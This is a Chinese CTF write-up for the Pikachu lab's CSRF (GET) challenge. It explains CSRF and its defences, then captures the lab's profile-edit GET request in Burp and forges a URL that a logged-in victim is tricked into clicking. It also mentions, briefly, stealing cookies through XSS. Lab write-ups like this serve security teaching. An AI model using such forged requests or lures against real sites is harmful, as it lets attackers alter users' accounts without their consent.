【CTF Web】Pikachu CSRF(get) Writeup(CSRF+GET请求+社会工程学)

news2024/11/26 2:40:19

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

提示

这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456


解法

审查元素。

<form method="get" action="csrf_get_login.php">
                        <!--            <fieldset>-->
                        <label>
														<span>
															<input type="text" name="username" placeholder="Username">
															<i class="ace-icon fa fa-user"></i>
														</span>
                        </label>
                        <br>

                        <label>
														<span>
															<input type="password" name="password" placeholder="Password">
															<i class="ace-icon fa fa-lock"></i>
														</span>
                        </label>


                        <div class="space"></div>

                        <div class="clearfix">
                            <label><input class="submit" name="submit" type="submit" value="Login"></label>
                        </div>

                    </form>

用这个账号登录:

账号:vince
密码:123456

点击修改个人信息。

审查元素。

<form method="get">
   <h1 class="per_title">hello,,欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_get.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="" data-sider-insert-id="b5298502-5e33-48c0-a8ae-b1398ad43004" data-sider-select-id="b9ade274-df12-4c24-be5c-5d59330f18cc"></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value=""></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value=""></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value=""></p> 
   <input class="sub" type="submit" name="submit" value="submit">
   </form>

用 Burp 抓包。

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=1234&phonenum=2431&add=1234&email=2314&submit=submit HTTP/1.1

伪造 GET 请求:

http://172.17.149.214:8765/vul/csrf/csrfget/csrf_get_edit.php?sex=1111&phonenum=2222&add=3333&email=4444&submit=submit

假设目标用户是 kobe。kobe 登录账号。

账号:kobe
密码:123456

欺骗 kobe 点击链接,修改成功。


声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2190399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA的lombok插件不生效了?!!

记录一下&#xff0c;防止找不到解决方案&#xff0c;已经遇到好几次了 前面啰嗦的多&#xff0c;可以直接跳到末尾的解决方法&#xff0c;点击一下 问题现场情况 排查过程 确认引入的依赖正常 —》&#x1f197; idea 是否安装了lombok插件 --》&#x1f197; 貌似没有问题…

锐键网络文档链接

锐键网络文档 锐键网络官网锐捷网络官网首页锐捷网络-场景创新&#xff0c;驱动数字未来锐键网络锐键网络产品中心锐键网络产品中心https://www.ruijie.com.cn/cp/锐键网络交换机【锐捷交换机】以太网交换机_网络交换机-锐捷网络锐键网络无线企业无线产品|无线网络设备-无线AP-…

Redis基础二(spring整合redis)

Springboot整合Redis 一、Springboot整合redis ​ redis可以通过使用java代码来实现 第一部分文档中 在终端操作redis的所有命令&#xff0c;Spring已经帮我们封装了所有的操作&#xff0c;所以变得很简单了。 ​ Spring专门提供了一个模块来进行这些操作的封装&#xff0c;这…

文件路径、文件系统操作、字节流字符流、文件内容操作、自己实现文件查找 删除 复制、IO报错:拒绝访问

目录 一、什么是文件 文件的分类 文件路径 二、文件系统操作 四、文件内容操作 字节流字符流 1&#xff09;字节流&#xff08;二进制文件&#xff09; InputStream概述 FileInputStream 概述 OutputStream 概述 2&#xff09;字符流&#xff08;文本文件&#xf…

资料文档中心

华三文档中心 华三云计算文档中心各个方向(云计算 大数据 路由器 交换机 无线 物联网 安全 光模块 智能管理与运维 移动通信 服务器 存储 PON ICG信息通信 EPCN网关 License Server 其他产品 智能终端 传输产品 云简网络 商用终端 ALGC SMB 产品)云计算-云计算产品-云计算解决…

产品经理-需求分析

需求分析 1.什么是需求&#xff1f; 需求&#xff1a;其本质就是用户的预期&#xff0c;而预期与现状之间存在着差异&#xff0c;就出现了需求另外&#xff0c;用户提出需求时&#xff0c;都会基于某种目的所提出问题、建议或者想法 原始需求的目的是为了避免扯皮&#xff0c;…

基于Arduino的3D打印六足机器人

本项目是在原有项目基础上进行的改进&#xff0c;改进了六足机器人的姿态算法&#xff0c;使姿态在变化时更稳定 基于Arduino的3D打印六足机器人 一、项目说明二、所需配件三、3D打印四、机械腿部4.1腿部结构4.2腿部代码4.3 COPY腿部结构4.4伺服电机接线4.5 连接腿部结构 五、…

PD协议芯片ECP5701+充电管理芯片+升压芯片搭配应用TYPE-C口充电及升压供电系统

以往的电子设备需要有专门的电源适配器来供电&#xff0c;不仅需要大家区分不同设备的充电器&#xff0c;还要专门找地方来放置&#xff0c;还给用户带来了诸多不便。然而&#xff0c;TYPE-C接口&#xff0c;全称USB Type-C&#xff0c;迅速取代了传统的USB接口&#xff0c;成为…

【评测】湖北十堰大带宽300M高防云服务器

湖北十堰的高防服务器拥有高性能处理器、大容量DDR4 ECC内存、SSD硬盘及多种带宽配置&#xff0c;性价比高且配置灵活。它防御强劲&#xff0c;性能稳定可靠&#xff0c;扩展性佳&#xff0c;可满足各类企业需求&#xff0c;是优质服务器的绝佳选择。 清风云官网&#xff1a;ht…

【含文档】基于Springboot+Andriod的成人教育APP(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 系统定…

如何正确输入IP地址前面的斜杠:详细指南

在网络配置和文档编写中&#xff0c;经常需要准确地输入IP地址及其子网掩码。IP地址前面的斜杠&#xff08;/&#xff09;用于表示子网掩码的位数&#xff0c;是一个重要的组成部分。然而&#xff0c;对于一些用户来说&#xff0c;输入这个斜杠可能会带来一些困惑。本文将详细介…

c++ union内存布局

// // Created by 徐昌真 on 2024/10/5. // #include <iostream> using namespace std;//定义一个union union Data{int a;char s[7]; //char值的范围(-128~127) }; int main() {//创建一个unionData d;d.s[0] 255; //16进制 0xFF 16进制F对应二进制 1111d.s[1] 1; …

国外电商系统开发-运维系统拓扑布局

点击列表中设备字段&#xff0c;然后定位到【拓扑布局】中&#xff0c;可以看到拓扑发生了变化 再回头&#xff0c;您再次添加一个服务器到系统中&#xff0c;并且选择该服务器的连接节点为您刚才创建的“SDN路由器”&#xff0c;保存后&#xff0c;您可以看到这个服务器连接着…

胡超:引领中美能源与文化合作的创意先锋

中美能源合作领域迎来了一个重要的历史时刻,2024年中美可持续发展峰会(Sino-American Symposium on Sustainable Development)在全球关注下圆满落幕。这场峰会不仅成为了中美两国绿色能源合作的高端平台,也展示了作为该活动的协办方RES(Reverse Energy Solutions)在清洁能源领域…

Django网站admin用户和组的权限机制

Step 1 创建超级用户 python manage.py createsuperuser 在终端输入 Step 2 输入用户名和密码 Step 3在网站上输入 127.0.0.1&#xff1a;8000/admin Step 4创建群组和用户 让创建的组和用户可以访问网站 def index(request):groupnameslist(request.user.groups.values(name)…

【api连接ChatGPT的最简单方式】

通过api连接ChatGPT的最简单方式 建立client 其中base_url为代理&#xff0c;若连接官网可省略&#xff1b;配置环境变量 from openai import OpenAI client OpenAI(base_url"https://api.chatanywhere.tech/v1" )或给出api和base_url client OpenAI(api_key&…

LC刷题专题:堆、大顶堆、小顶堆

文章目录 692. 前K个高频单词215. 数组中的第K个最大元素2336、无限集中的最小数字 这篇文章以后记录自己刷到的题目中与堆有关的。 692. 前K个高频单词 这个题目整体不难&#xff0c;是前k个高频元素的改进版&#xff0c;只需要在创建小顶堆时执行排序规则即可。如果出现次数…

Yolov8轻量级网络改进GhostNet

1,理论部分 由于内存和计算资源有限,在移动设备上部署卷积神经网络 (CNN) 很困难。我们的目标是通过利用特征图中的冗余,为 CPU 和 GPU 等异构设备设计高效的神经网络,这在神经架构设计中很少被研究。对于类 CPU 设备,我们提出了一种新颖的 CPU 高效 Ghost (C-Ghost) …

【2024】uniapp 接入声网音频RTC【H5+Android】Unibest模板下Vue3+Typescript

需求 最近开发一个项目&#xff0c;需要实现声网的接入。由于采用uniapp模式&#xff0c;按照最佳实践采用优先开发H5再适配的模式。因此实现了H5和Android两种模式的接入&#xff0c;Android里采用离线打包自定义基座来进行调试。怕自己忘记了&#xff0c;在这里详细的记录完…

深入学习从入门到放弃:掌握梯度概念,开始征服深度学习!

文章目录 从现实中的例子理解什么是梯度梯度的数学定义梯度的严格的数学定义为什么梯度向量指向函数增长最快的方向&#xff1f; 为什么梯度是深度学习优化的最基础概念在python中实现梯度求导的简单案例一元线性回归多元线性回归 结合示例深度学习中的梯度求导的一般过程数学原…